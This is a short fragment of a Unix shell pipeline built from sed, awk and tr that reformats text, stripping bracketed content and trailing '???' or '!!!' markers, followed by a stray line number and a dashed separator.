sed 's/ *\[.*//' | awk '{print$2" "$3}' | sed 's/ ()//' | tr '\n' '#' | sed 's/[??? #]*??? #$/#/' | sed 's/!!! *#$/#/' | tr '#' '\n' 27 | --------------------------------------------------------------------------------